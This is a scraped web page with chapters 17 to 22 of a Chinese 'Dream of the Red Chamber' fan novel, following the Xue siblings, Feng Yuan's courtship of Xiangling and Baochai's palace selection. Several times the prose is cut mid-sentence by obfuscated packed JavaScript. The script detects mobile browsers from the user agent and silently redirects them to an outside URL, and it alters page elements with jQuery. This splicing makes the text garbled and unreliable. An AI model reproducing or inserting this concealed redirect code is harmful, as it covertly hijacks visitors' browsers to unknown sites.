d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14489064|153881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 替，衣裳也都是素色，对联和年画不用红色，而是用白色。 大年三十，祭祖。 薛府大门洞开，薛家族人陆续而至，在东边的一处院子集合。 院内肃穆庄严，只以松柏点缀，正堂黑底金字的牌匾，上书“薛氏祠堂”四个大字。 众人先于正殿祭祀神主，一应香烛供品已经准备齐全，祠堂打扫得干干净净，先祖的神位被请了出来。 薛家嫡脉辈分最高的两位长辈为主祭和陪祭，薛虯虽然小，却是这一代的族长，负责拜爵，薛蟠也被放出来了，负责献帛，剩下捧香、展拜毯以及守焚池都由嫡脉其他小辈担任。 伴随着神圣庄重的祭礼乐，三献爵、拜兴毕、焚帛奠酒，礼毕、乐止①。 薛虯看着今年新多出来的那个牌位，默默无语。 接着众人移步，到正堂祭祀先祖。这次女眷也在，都在正堂之内，男子则立于正堂之外，唯有薛虯作为下一代接班人站在门槛之内。 小厮将供奉的菜品送到仪门，由靠近仪门的小辈接了，依次传递到正堂外的长辈手里，长辈传给堂内的薛虯，薛虯再传给薛母，最后由辈分最高的女眷置于先祖画像前的方桌上②。 待到供品具齐，众人拈香叩拜，祭礼便算完成了。 本该再留下说说话，但薛家还在守孝，不宜见笑闹之声，便散去了。只留下薛母、薛虯并薛蟠、宝钗四人。 薛母看着空荡荡的宗祠，良久叹了一声，拉着宝钗转身：“走吧，咱们用年饭去。” 统共就四个人，也不必男女分坐了，几人便沉默地用饭。八仙桌上碗盘森列，虽是素菜，但是精致可口，丝毫不输于山珍海味，然而薛虯四人却味同嚼蜡。想到薛父还在时，每逢过年家里便热闹非凡，更衬得此刻凄凉。 18.第 18 章 用过晚饭，打赏了丫鬟小厮，一家四口聚在一处守岁。 外面鞭炮阵阵，烟花漫天，往年薛家也会准备很多，在空地方放上大半夜，半个金陵的人都能看到。今年却是不能的，听着外头的热闹，看着炭盆里噼里啪啦的火星，勉强算是年味了。 一应游戏娱乐俱都没有，沉默地守过子时，薛母撑不住先去睡了，薛虯几人便也散了。 次日正月初一，各家各户忙着拜年，薛家来往之人不绝，却只叫亲近之人进门，其他的都婉拒了。薛虯也只去几位亲近的长辈以及世交家拜访，之后便闭门不出。 正月里各户人家请客吃酒，薛家一概不应，只忙着自己的事。 宝钗忙着跟陈姑姑学规矩，内庭规矩繁杂，要求又极为苛刻，学习起来殊为不易。宝钗对宫廷礼仪不如京都的大家闺秀熟悉，但她聪慧刻苦，不厌其烦地一遍遍练习，进步极为显著，陈姑姑看她的目光越来越满意。 除此之外，她还跟着先生读书，在薛虯的砸钱大法之下，先生匆忙改变教学规划，主要讲历史与经义，尤其将重点放在政治权谋之上，亏得这先生乃薛父重金聘请，虽只是个落第举子，但是学问见识不错，讲得深入浅出。宝钗本就爱念书，又向来心有成算，学起来也算如鱼得水。 唯一苦的就是薛蟠，他的伤养好了，禁足也解除了，又重新开始上课。但他的功课不好，在宝钗的对比下显得更加不堪。 薛蟠还找到先生，想要调整课程设置，先生只是呵呵一笑：“是大爷叫我以姑娘为主，反正二爷素日不怎么念书，耽误几月有什么要紧？” 薛蟠：“……” 先生之前不愿收女学生，可是真正教了宝钗，才知道教导一个聪慧且勤奋的学生多么痛快，再看薛蟠就怎么也不顺眼了，没忍住怼了他一下。 怼完之后又自觉失言，补充一句：“如果二爷有意见，可以与大爷商量。” 薛蟠：“…………” 他哪里敢？ 算了，不就是上课吗？不上就不上！反正他本来也不爱上。 薛蟠弱弱回自己座位上睡觉去了。 薛虯和薛母则忙着上京的事，户部核算就在三月，过完十五就得出发。这一去少则数月，多则大半年，若宝钗选上伴读，日后京中必要常常住人，东西得提前准备着，这些都由薛母操心。 薛虯则安排外头的事，好在这些日子他已经将生意上的事理得差不多了，薛文盛又是管老了事的，有他坐镇金陵，暂时不必担心。 这日薛虯刚忙碌完，长瑞拿着个巴掌大的匣子进来，说道：“冯公子想求见大爷。” 薛虯一愣：“是为了香菱来的？” “是。”长瑞将匣子打开，里头是一只玉镯，玉质在薛虯看来不怎么好，但以冯渊的家底，他也算出了血本了。 “冯公子请小人将此物交给香菱，小人不敢擅专。” 薛虯点了点头：“你做的对。” 香菱如今不是普通丫头，而是在宝钗身边伺候的，自然不能随便收外男的东西，若不当心坏了宝钗的名节便不好了。 只是他当日劝冯渊时让他用这两年功夫求取美人欢心，可如今香菱成了薛家的丫头，镇日里大门也不出去一步，冯渊想见她都没有机会，更别说讨好她了，也难怪只能通过长瑞出手。 到底是自己应下的事，薛虯放下笔：“请他进来吧。” 不一会儿，冯渊被请了进来，他带着满脸笑意，对薛虯一拱手，喊道：“薛大哥！” 薛虯：“……” 长瑞：“……” 薛虯勉强保持住笑意，指指下首的座位：“冯公子不必如此客气，坐吧。” 冯渊坐下了，不好意思地挠挠头：“本来想来给薛大哥拜年的，可是管家说薛大哥不见客，我们不好来打扰，所以就没有来。这次找长瑞兄是为了香菱姑娘，没想到能见到薛大哥，所以没带什么东西。” “你多虑了，咱们两家相熟，过年也是走了礼的，很不必为此纠结。至于香菱——”薛虯沉吟片刻，说道，“不瞒你说，香菱与舍妹投缘，如今在她身边伺候，不能让你轻易见她。这原是我的过失，若不然将她调到外院……” 薛虯还没说完，冯渊便连连摆手：“不用不用，就让香菱姑娘伺候薛姑娘吧，我不见她便是了。” 冯渊虽然不太聪明，但也知道香菱留在宝钗身边前途比去外院好多了。香菱并不一定愿意嫁给他，他怎能为了一己私欲毁掉她的前程呢？ 薛虯看冯渊的目光多了丝 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这才算是戳到冯渊痒处了，他从小养尊处优，既不用为银钱发愁，也没有长辈规矩约束，日常就是吃喝玩乐，对各种美食如数家珍。在薛虯的引领下逐渐克服紧张，谈吐变得自如起来。 锦书回来的时候，冯渊还有些意犹未尽。但看到锦书拿回来的匣子，他就笑不出来了：“香菱姑娘没有收吗？” 锦书同情地看他一眼，说道：“香菱说她在姑娘身边伺候，不宜与外男往来过密，公子的礼物太过贵重，她不敢收，请公子收回去吧。” 冯渊勉强笑道：“这不算什么，是我自愿送给她的，不用有什么负担。” 话虽如此，但香菱的态度已经很明显了。锦书将匣子放到冯渊面前的桌子上，微微躬身后退下，没有再说什么。 冯渊白着脸：“那、那便罢了，下次我再买别的东西送给她。” 薛虯安慰道：“她有过那样的经历，现在才刚刚稳定下来，不愿意生活再生变化也是有的，若能叫她看到你的诚意，许是就能答应你了。” 冯渊这才舒了一口气的样子，连连点头：“大爷说的是。” 19.第 19 章 冯渊犹豫片刻，问道：“我听管家说，你们一家可能要去京都了，是真的吗？” “是。”薛虯点头，“半月之后动身。” “那、那香菱姑娘也会跟着去吗？”冯渊紧张地问。 薛虯再次点头：“香菱在舍妹身边伺候得很好，且她初来乍到，只跟舍妹熟悉一些，跟着上京是最好的。” “那是自然。”冯渊嘴上应着，失望地垂下了头，隐形的耳朵都耷拉下来了。 跟着薛家一起上京对香菱自然是最好的选择，只是如此一来，他就更见不到她了。 薛虯见他如此，心中有些不忍，说道：“若你愿意，也可随我们一同上京。” “真的？”冯渊猛地抬头，眼睛亮了一下，很快又暗淡下去，垂头丧气道，“以我的家资，在京城置不起产业，去了也没什么用。” 况且即便去了京城，香菱在薛府出不来，他照样见不到人，又有什么意义呢？ 薛虯想了想，说：“如果你愿意，可以来薛家的商队担个差事。” 冯渊茫然地眨了眨眼。 薛虯解释道：“薛家有几支商队，其中一支专管京都与金陵，每三月往返一次，每次可在京城修整半月，衣食住行都有薛家承担。你若愿意干，一则可以同时照管京都和金陵两地，二来不用担心在京城的生计，三来商队管事可进府回话。你好好干，香菱看在眼里，若觉得你稳重可靠，自然会更加倾心。” 说到这里，冯渊的眼睛已经亮晶晶的了。一二条也就罢了，第三条却叫他十分心动。虽然是商队管事才能进府回话，但按薛大哥的意思，他到时候肯定能来，如此便有可能遇上香菱。 即便遇不上，与她同在薛家当差，日后要接近起来也方便些。 只是…… 冯渊不好意思地说：“我没办过差事，什么都不会，恐怕会拖累你们。” “莫要妄自菲薄，若你没有过人之处，我也不会邀请你。”薛虯微笑道，“方才与你说话，你对金陵特产风貌十分熟悉，这支商队做的便是杂货生意，你这样的去了正好。只是不知冯管家肯不肯答应。” “管家肯定答应，他早就想让我做点正事了！”冯渊兴奋起来，“那我回去就跟管家商量，明日就去商队点卯！” 薛虯颔首：“一会儿我交代下去，你直接去便是了。” 冯渊响亮地应了一声，与薛虯告辞离开。出了书房的门，却见不远处的小路上一个高大的身影蹑手蹑脚，听到动静惊恐地回过头来，不是薛蟠是谁？ 这可真是仇人见面分外眼红，两个人同时瞪圆了眼，异口同声：“是你！” 薛蟠想起自己因为此人丢了大脸，还被大哥打板子，趴在床上近一个月，看冯渊就十分不顺眼。他站直身体，挺胸抬头，冷笑道：“你怎么在我家？” 冯渊因为薛蟠差点丢了小命，还和香菱失之交臂，虽然看在薛家和薛虯的面子上没有追求薛蟠的责任，心里却还是憋着一口气，同样冷笑回应：“我来拜访薛大哥，与你有什么干系？” 薛蟠：“你这么大年纪，怎么好意思管我大哥叫大哥？” 他在“年纪”和“我”上落重音，着重强调。 冯渊：“……” 冯渊也不是真傻，最初叫薛虯大哥是因为没反应过来，后来反应过来了，则是觉得这个称呼很合适，薛虯气场强大，又那么有本事，叫一声大哥是应该的。 但是被薛蟠这么点出来，他面上就有些讪讪。 随后又理直气壮起来：“薛大哥自己都没说什么，你哪来那么多意见？” 薛蟠冷哼一声：“我大哥不搭理你是因为他人好，但你就这么顺坡上驴，也太不要脸了。” “你强抢民女，你才不要脸！” “那是我花钱买的，怎么能说是强抢民女，我是为了救她，你却不分青红皂白污蔑我，你不要脸！” “我先买的人，你凭什么不把人给我？现在香菱都不收我东西了，你不要脸！” 薛蟠闻言得意一笑：“那丫头还有点眼光，知道你不是什么好人，不值得托付。” 冯渊：“……” 书房里听完这一场小学鸡吵架的薛虯：“……” 看他俩还要再吵下去，薛虯推开房门出去，听到声音的两人顿时哑火。薛蟠缩了缩脖子，喊了一声：“大哥。” 薛虯对冯渊点了点头，再看薛蟠时神情变得严肃：“现在不是上课时间吗，你怎么在这里？” 薛蟠：“……” 薛蟠瞥了幸灾乐祸的冯渊一眼，小声咕哝：“先生讲的东西我都听不懂，留在学堂也是浪费功夫，还不如出去走走。” 薛虯：“不是让先生根据你的情况单独授课了吗？” 这还是先生自己提出来的，薛蟠镇日混日子也不是办法，不如效仿外头学堂，根据二人的情况分别教导。教导薛蟠的时候，宝钗自己做功课便是，反正薛蟠每日学不了多少东西，教起来用不了多少功夫。 薛虯采纳了这个办法，试行几日后觉得不错，有宝钗在旁边作为对比，薛蟠念书都比从前认真了些，倒真学进去一点东西。 薛蟠嘴唇嗫嚅几下，吭吭哧哧道：“郑六不是被打了吗，我想去看看他。” 薛虯：“跟先生和母亲说过吗？” 薛蟠：“……” 冯渊幸灾乐祸：“薛二爷这么大的人了，居然还逃课啊？” 薛蟠：“………” 他没好气地瞪了这个添油加醋的小人一眼，对薛虯弱弱道：“那我现在跟大哥请假，我都在家里呆了快一个月了，总得出去走走吧？” 薛虯微微颔首：“果真是去寻郑六？” 薛蟠很想点头，但在薛虯的眼神下根本不敢撒谎，老老实实道：“是和朋友们一起出去逛一逛，他们都叫我好几回了，再不答应，他们以后得不带我玩儿了。” 怎么可能？只要薛蟠有价值，就不会缺人跟他玩。 但薛虯并不打算限制薛虯交友，也没打算一直把他拘在家里，只是问：“出去玩也就罢了，功课也不能耽误，这几日先生教你的文章背多少了？” 薛蟠：“……” 薛蟠垂头丧气地跟着薛虯去书房接受考校，冯渊看了一场笑话，自觉赢回一局，一扫方才的阴霾，高高兴兴出府去了。 书房里考校过薛蟠的薛虯则陷入了沉默，这么简单的功课，到底是怎么做到几天才背会一点点，还磕磕巴巴，一点也不顺畅的？ 薛蟠低着头，用眼角观察薛虯的表情：“大、大哥，我回去好好背， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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冯渊对此一无所知，乐呵呵跟在同事身后帮忙，还犯了几个小错误，仿佛更验证了他花瓶关系户的人设。 但很快大家就打消了这个想法，因为涉及到吃喝玩乐，仿佛打开了冯渊某个不得了的开关，展现出了不凡的素养。 对于金陵有什么好吃的好玩的，特点是什么，哪里的质量好，哪里的性价比高，冯渊都十分清楚，还连夜写了一份总结，给采购工作提供了不小的帮助。 这时候众人才明白，大爷就算要安插人，也不会是随意安插的，此人必定有他的过人之处。 冯渊也很高兴，他一直是个废物小点心，除了家里有点钱，再没有别旁人强的地方。第一次收到这么多夸奖，简直令他飘飘欲仙，干活越发卖力起来，帮商队节省了许多时间和成本，在商队混得如鱼得水。 这是后话，此刻冯渊才刚刚到商队报道，乐呵呵做他的小跟班。而薛蟠也在学堂抓耳挠腮。 这文章应该是学过的，但是又仿佛没有学过，看起来有些眼熟，但每一句是什么意思都不记得，这样怎么可能背得下来？ 去问先生吧？有些拉不下脸。 不问？功课做不完。 在家里闷了这许久，薛蟠是真的想出去走走，咬着笔杆纠结许久，看向屏风后隐约可见的宝钗。又是纠结许久，趁着先生不在的时候，薛蟠缓缓、缓缓地凑过去，小小声道：“宝钗，我问你一个问题呗？” 20.第 20 章 几日之后，薛蟠来书房找薛虯，给他背了一遍文章，虽然还是磕磕绊绊，但好歹从头到尾背下来了。 薛虯微微颔首：“不错。” 薛蟠挺胸抬头，仿佛一只斗胜的公鸡，骄傲得不得了。 薛虯：“我说话算话，既然把文章背出来了，你今天可以出去玩一天。” 不等薛蟠说话，他又道：“不止今日，从今往后，只要你能将当日功课做完，随时都能出去。” 薛蟠的眼睛“唰”一下亮了，打了鸡血一般，握着拳头就出去了。 长瑞忍不住笑，问道：“大爷，是不是跟先生说一声，给二爷多一些功课？” 薛虯摇头：“你让先生把他的功课难度调低一些。” 比起揠苗助长，培养好的学习习惯更重要。若一开始难度太高，或许不用多久薛蟠就放弃了，可若简单一些，坚持下来便会容易许多，待他适应后再酌情慢慢增加。 * 却说薛蟠与好友多日未见，难得今日得了允准，出得门去，便呼朋唤友，挑了个热闹的酒楼吃饭去。 因着薛蟠还在守孝，席面上未见荤腥，不过这家素菜也做得不错，兼之环境优美，还有艺人说话取乐，倒也别有滋味。 吃过几轮菜，其中一个好友感慨道：“蟠二爷可是好久不曾出来了，还以为你同我们疏远了呢。” “怎么会，我薛蟠是那种不仗义的人吗？”薛蟠佯作愤怒，随后一叹，“不过是我大哥回来了，一时不得空。” 众人见他一脸苦闷，心中各有揣测，顺着他的话打抱不平：“不是我说，薛大爷管得未免太多了些。” “是啊，他跟你还是双胞胎，不过是凭借早出生几刻钟当了家主，说得不好听些，那也是咱们蟠哥让他的，凭什么这么管着你。” “是啊，听说还打了你，我们去府上探望都见不到人，可着急坏了。要我说，二爷不听他的话也就罢了，腿长在你身上，你想出门，他还真能拦着不成？” “胡说什么呢！”薛蟠摔下筷子，在其中一个人小腿上踹了一脚。 被踹的人：“？？？” 关他什么事，他什么都没有说啊！ 薛蟠才不管，看着一脸懵逼的众人，生气道：“你们知道什么？那是我大哥，长兄如父懂不懂，他管我不是应该的吗，轮得到你们说他不是？” 众人：“……” 不是你先说的吗？ 他们回想了一下，薛蟠方才的确没有直接说薛虯不好，只是略有苦闷罢了，顿时恍然。 敢情苦闷归苦闷，薛蟠被管得还挺服气呢！ 这可真是……薛蟠在金陵这地届就是土霸王，向来天老大地老二他老三，没见服过谁怕过谁，竟也有被管得服服帖帖的一天。 不过想到那人是薛虯，也就不足为奇了。 若非为了吹捧薛蟠，他们其实也挺敬佩薛虯的。 他多厉害啊！ 跟他们差不多年纪，甚至他们中大部分人都比薛虯大，他们还在吃喝玩乐混日子，便是同龄人中厉害的，也不过是跟在父母身边历练，薛虯却已经独当一面，成了父母口中可以和他们平起平坐，甚至连他们都要尊敬的人。 对于渴望长大，渴望得到认可的少年们来说，这可太令人敬佩了。 不过他们毕竟是薛蟠的小跟班，还是很有职业素养的，如今见薛蟠自己都很崇拜薛虯，转换起口风也十分丝滑。 “二爷说得是，是我们有失分寸了。” “是我们想岔了，还以为薛大爷苛待二爷呢，如今看来应该是误会。” “那是自然，薛大爷何等样人，咱们又不是不知道，最是讲情分有本事的，怎么会苛待二爷？再说二爷也不是逆来顺受的人，要是薛大爷对他不好，您也不能不反抗。” “那是自然。”薛蟠表情松缓了些。 方才怒从心起，根本控制不住脾气，发作了一通，事后就有些后悔。 倒不是后悔发脾气，这些人胆敢对大哥出言不敬，打他们一顿都是轻的。但是被人发现他在大哥面前没有一点话语权？他的脸面要往哪搁？ 好在这些人不大聪明，并没有往这方面想，他重新坐下，抬着下巴矜持地说：“那是自然，大哥虽然管我，却都是为了我好，我岂有不知道的道理？” “是啊是啊……” 众人又七嘴八舌夸薛虯友爱兄弟，夸薛蟠尊敬兄长，父慈子孝？云云，直把薛蟠夸得飘飘然，才把此事揭过去了。 过了一会儿，有个人好奇道：“所以二爷今日怎么能出来？” 众人：“……” 真是哪壶不开提哪壶，以薛二爷的脾气，真要是薛虯放过了他，或者他相出什么好法子，刚才怎么可能不说出来？ 他不说只有一个原因，就是割地赔款了。 这种事说出来伤面子，薛蟠没面子，受苦的还不是他们？装作不知道也就罢了，干什么非要问出来？其中几人已经在想着怎么替薛蟠圆过去了。 薛蟠的确僵了一下，不过很快就冷静下来，云淡风轻道：“哦，我说我去看望郑六，大哥就放我出来了。” 众人这才松了口气，顺着他的话道：“那一会儿我们就去看郑六，前日我还去看他了，他倒是没什么大碍，已经好得差不多了，只是被郑伯父拘在家中不许出门。” 薛蟠轻哼一声：“我才不去，郑六差点害了我，他父亲还看不起我大哥，以后你们都不许和他一起玩！” 他可不是傻子，大哥做事向来有根据，绝不会无故迁怒旁人，那郑启元不恭敬，针对他一个人也就罢了，为什么郑六会被打？ 不外乎是他的缘故。 想到当日的确有郑六的事，薛蟠自觉想明白了，郑六肯定是故意坑他的！ 至于目的么？ 他父亲那么坏，言传身教，他坏一点不是很合理吗？ 完全忘记了郑六平时也是个傻憨憨，根本没有这个本事的事实。 反正薛蟠很生气，再次郑重强调：“谁再跟他一起玩，别怪我不认这个兄弟！” 众人：“……” 幼稚！太幼稚了！ 薛蟠痛痛快快玩了半日，回去的时候还依依不舍，虽然大哥承诺了，只要完成当日功课便能出去玩，但做完功课实在太难啦！ 这篇文章还是他费了老劲才完成的，若以后日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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薛蟠咬着笔杆纠结不已，一边是看话本，这样不用写功课，但是也不能出去玩。另一边是写功课，如果能早点写完，他就能好好出去玩一圈。 纠结许久，薛蟠还是一咬牙，拼了！ 难得功课这么少，不抓住机会玩一下，以后就更没有机会了。 于是他放下话本，难得没有睡觉，抓耳挠腮地写写背背，宝钗和先生也自觉放低了声音，不要打扰到他。 中间薛蟠也想要放弃，但看着写了一半的功课，终究还是坚持了下去。用完午饭，他也不回院子午睡了，又回学堂写功课，叫宝钗都为之侧目。 如此直到半下午，薛蟠终于写完功课。 他放下笔长舒一口气，看着自己的杰作得意洋洋了一会儿，跟先生说了一声，去找薛虯去了。 宝钗：“……” 没想到这招对二哥这么有用！ 书房里，看到薛蟠拿过来的功课的薛虯也有些吃惊。他没想到薛蟠第一天就能完成，还以为要适应几天呢。 虽然这功课写得……嗯……不忍直视，但已经很出乎预料了。 薛虯中薛蟠紧张的目光中点点头，赞赏道：“不错！” 薛蟠一下笑开了花，十分美滋滋。 薛虯看着也忍俊不禁，说道：“既然功课完成了，我说过的话也算话，你今日可以随意出去，我再让人支一百两银子给你，只要不惹出祸事，随便你怎么玩。” 薛蟠便更高兴了。 21.第 21 章 要进京了，薛母忙着安置家事、收拾行李。 上京后要拜访亲戚，准备礼品也是个问题。轻不得重不得，还要顾虑每个人的喜好，想要处处体贴、处处周全，真不是一见简单的事。 薛虯见薛母发愁，便道：“亲戚来往，贺礼只是心意，母亲按照常例便是了，何必如此为难？” “这是什么话，都是一家子骨肉，哪有敷衍的道理？况且这次我们亲自登门，礼节该格外重一些。”薛母嗔怪道。 薛虯：“那便在常例上加两三成吧。” “你这孩子！”薛母有些无奈，“你这么办，旁人自然挑不出错处，却也不会因此与我们多亲近几分。只是多花一点心思，便能叫人念我们的好，何乐而不为呢？” “只是不想母亲劳累罢了。” 薛母不以为意：“这算什么劳累？我们进京后还需要亲戚们照顾，礼数到了日后也好开口。母亲帮不上你和宝钗别的，只能在这些小事上费些心思了。” 薛虯便没话说了。 虽然他自信不需要贾、王两家帮助，但薛母的顾虑也有道理，不论两家未来如何，现在还是有一点能量的。更重要的是，薛母在做这些的时候状态很不一样，显然能帮上儿女的忙叫她十分高兴。 既然如此，便由着她去吧。 但也不能一味只替旁人着想，王家尚还好些，贾家却是人人都长着一双势利眼的，对他们太好，只怕他们还以为薛家在讨好他们，反倒要低看薛家。 薛虯：“咱们的行李是否太过精简了？” “的确精简了些，我想着路途不便，能不带的就不带了，左右京都那边一应物什都不缺，便是少了什么，现打发人去买就是了。” “母亲说的是，不过日常惯用的东西、近身伺候的下人还是得带着，这些都是用惯了的，一时离了不适应。” 薛母有些犹豫：“东西是不是太多了？” 薛虯含笑道：“母亲安心便是，我让底下腾出一条大船送我们上京，尽够用的。” 薛母这才应下了。 薛虯：“旁的也就罢了，母亲和妹妹这一年打扮太素净了些，该多制几套鲜亮些衣裳首饰，到了京都也好见亲戚。” 衣裳首饰倒也罢了，薛父是二月去的，如今已是正月，等他们到京都时也该春暖花开了，过了头一年孝期，可以穿得鲜亮一些。 只是薛母原本想着，到了京都不认识几个人，不外是王家、贾家这些相熟的亲戚来往走动，特特赶制新衣裳新头面，显得他们多么轻狂似的。 但薛虯都这么说了，再者……薛母想着自己也就罢了，宝钗却还是个未至豆蔻的女孩儿家，合该好好打扮打扮，稍作犹豫便答应了，使人去请裁缝来。 没多少日子就要出发了，但是薛家不缺钱，自然也不用担心衣裳赶制不出来。首饰更不用担心了，眼下金陵乃至江南最火的首饰就在她们家银楼，旁人买不到，她们却是想要就有的。再派人去其他银楼看看，有好的买回来便是了。 一时裁缝来了，给薛母量了尺寸。薛虯又交代她们用最好的料子、做最新的款式，价钱都不在话下。 将欢天喜地的裁缝送出门，薛母才诧异地看薛虯一眼：“你向来不爱管这些小事，今日倒格外用心。” 薛虯笑而不语。 他不愿母亲妹妹被人看低，尤其是贾家那起子小人。既然长的都是势利眼，那便用富贵震慑住他们。好叫他们知道，薛家的太太和姑娘都是富贵窝里养出来的尊贵人，便是给他们准备了厚礼，也是因为没把这点东西放在眼里，并没有讨好他们的意思，不是他们能轻慢的。 至于会不会因此牵扯出什么麻烦？自然有薛虯解决，总不叫她们受委屈就是了。 * 不一时，宝钗下课过来请安，薛母见只有她一个，问道：“今儿蟠儿也出去了？” 这几日薛蟠跟打了鸡血似的，为了能出去玩，每日里念书十分用功。偶尔累了想要懈怠，先生就会适当降低功课难度，勾得他不得不继续努力。 这件事薛母也是知道的，并且很是看了一阵热闹。 薛蟠自小身强体健爱闹腾，最不爱闲坐念书，薛父薛母使了多少手段都不见效，如今被薛虯拿住，能正经学点东西，她只有高兴的道理。 今儿没见到薛蟠，还以为跟往常一样写完功课出门了，虽然不曾听到底下人回禀，倒也没当一回事。 如今薛蟠不似从前冲动了，虽然还是爱惹是生非，到底顾忌着薛虯在家，不敢闹得太过，偶尔惹出事端，最多使些银子便能解决，薛母没什么不放心的。 宝钗却抿唇一笑：“妈这回可是想错了，二哥和友人约好了，明日要一起去郊外寻梅，这会儿还在念明日的书，想要早些出门呢。” 薛母拿东西的手顿住，眼睛也微微睁大了：“寻梅？” 这还是她那个只爱吃喝玩乐的儿子吗？ “正是呢。”宝钗将大氅解开，交给丫头挂起来，笑吟吟道，“前儿二哥学了‘冰雪林中著此身，不同桃李混芳尘’一句，起了兴致要去瞧瞧冰雪白梅呢，正好前几日又下了场雪，这会儿正是时机。” 那倒也罢了，踏雪寻梅虽然也算不上什么正经事，却也能称得上一个“雅”字，比一味贪玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14643236|153881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强多了。难为薛蟠有这个心思，他那些朋友也肯跟他一起闹。薛母没有拦着的道理，只叫人准备几样热腾腾的吃食给薛蟠送去，又叫人叮嘱他多穿衣裳，别只顾着用功，累坏了自己的身子。 说这话的时候，薛母只觉得十分恍惚，这话从前她也说过，却是头一回对二儿子说，一时还有点反应不过来。 等到回过神，她拉着宝钗到自己身边坐下，说道：“你二哥也就罢了，眼下最要紧的还是你自己，莫叫他误了你的事。” “知道，我才读了几本书，哪里就教得了二哥了？只是前几日偶尔说过几嘴，后来便极少了。二哥有不懂的都去问先生，我偶尔听着，也觉得受用。” “那便罢了。”薛母不再深问，招手叫嬷嬷给宝钗量尺寸，然后给裁缝铺子送去。 按说宝钗是常做衣裳的，家里养着三四个绣娘，她身边也有针线好的丫头，不必每次都量尺寸。但宝钗长得快，这些日子操心少，脸颊似乎也圆润了些，便不得不重新量了。 结果出来，果然又长高了一些，腰身也略丰腴了一些，叫薛母欣喜不已：“就该这样！前些日子你太瘦了，这样胖一些才好看！” 在薛虯梦里那个世界，世人对薛宝钗的印象是“微胖”、“珠圆玉润”，但其实宝钗并不胖，甚至可以说纤瘦了，虽然不似黛玉弱柳扶风，却也纤细苗条，只是长了一张饱满丰盈的银盘脸，皮肤又格外白皙，所以显得福态。 如今长胖了些，不仅不显臃肿，反而更加匀衬，窈窕多姿、体态优雅。 加之近日读书学规矩，多长了些见识，心境也与往日不同。往日她是知书达理的大家闺秀，如今更多了几分豁达从容，瞧着格外不同。 薛母越看越欢喜，随即又是一叹：“只叹咱们家门第不高，否则以宝钗的品格，配王孙公子都绰绰有余。” 宝钗俏脸微红，嗔怪道：“妈快别说了，叫人听见了去笑话。京城最不缺的就是好姑娘，哪里就轮得到我了？” 薛母不爱听这话，薛虯也不认同。 梦里他出身百年豪门，家族在那个世界不说独一无二，但也属于顶尖之列，见过的名媛精英多不胜数，名门出身的男孩儿女孩儿自然不乏佼佼者，但如宝钗这般容貌、才情、心智都拔尖的也很少见。更何况她还有远超这个时代女子的野心与魄力，想来即便到了京城，也会如一颗明珠般熠熠生辉。 而薛虯要做的，就是给这颗明珠发光的机会。 他道：“我叫人打听了这次选秀的情况，正好说给你们听一听。” 薛母和宝钗神色郑重起来，薛虯将打听到的情况娓娓道来。 22.第 22 章 此次要选伴读的共有七人，两位公主、五位郡主。 宝钗既要选秀，自然要奔着最好的去。薛虯也这么想，同样都是冒险，皇宫至少规矩森严些，对宝钗是一层保护。且皇宫人员混杂，要插手有时候比王府还简单。 选伴读的两位公主分别是十公主和十一公主，十公主是二皇子的妹妹，代表的是二皇子一脉，而十一公主是九皇子的妹妹。 二皇子不用多说，与太子分庭抗礼，权柄极盛，风光无限，他的妹妹自然也炙手可热。九皇子才刚刚成年，在诸位皇子中并不起眼，但他生母早逝，由德贵妃抚养长大，虽是半路母子，感情却十分亲密，而德贵妃从前宠冠后宫，虽如今年老色衰，恩宠不再，但依旧受皇帝信任，暂理凤印、执掌六宫。 两位公主的伴读都是香饽饽，不是轻易能选上的。好在京城那边打听到了两位公主的情况，对他们有一些帮助。 十公主和十一公主同年出生，今年都是八岁，十公主性格张扬强势，喜武不喜文，十一公主则完全相反，温柔内敛，喜好读书、尤擅作画。 “无量天尊！”薛母捂着胸口，“十一公主倒也罢了，十公主这样的性子……” “妈！”宝钗打断她，“皇家贵女，不是咱们可以指摘的。” 薛母连忙闭上嘴巴，眉宇间却满是忧虑。 私心里说她更看好十公主。九皇子文武双全，然而性格耿直，好打抱不平，显见不是做皇帝的材料，对十一公主也没多少助力。十一公主的生母又不在了，养母是个小透明，她自己也老实木讷，不受皇帝宠爱，宝钗给她做伴读，恐怕前途十分有限。 可十公主的性子也实在叫人害怕，只是张扬强势些也就罢了，怕只怕她高高在上惯了，不把底下人的命当命，动辄打骂磋磨，那宝钗的日子可就要泡在黄连水里了！ 左思右想，还是不敢拿宝钗去赌：“我瞧着十一公主不错，跟宝钗的性子也相投。” 薛虯也是这么想的。 倒不是他们挑拣皇家公主，正是因为中选机会小，才要瞄准一人全力一搏。二皇子瞧着鲜花着锦、烈火烹油，实则处境岌岌可危。而九皇子看似不显眼，却有一桩极大的好处，便是与四皇子交好。 四皇子乃德贵妃亲子，比九皇子大上几岁，可以说是看着这个弟弟长大的。他为人严肃端方，与诸皇子关系平平，唯独对九皇子格外关照。九皇子年少张扬，也只在四皇子跟前乖顺一些。 与九皇子交好，就是与四皇子交好。 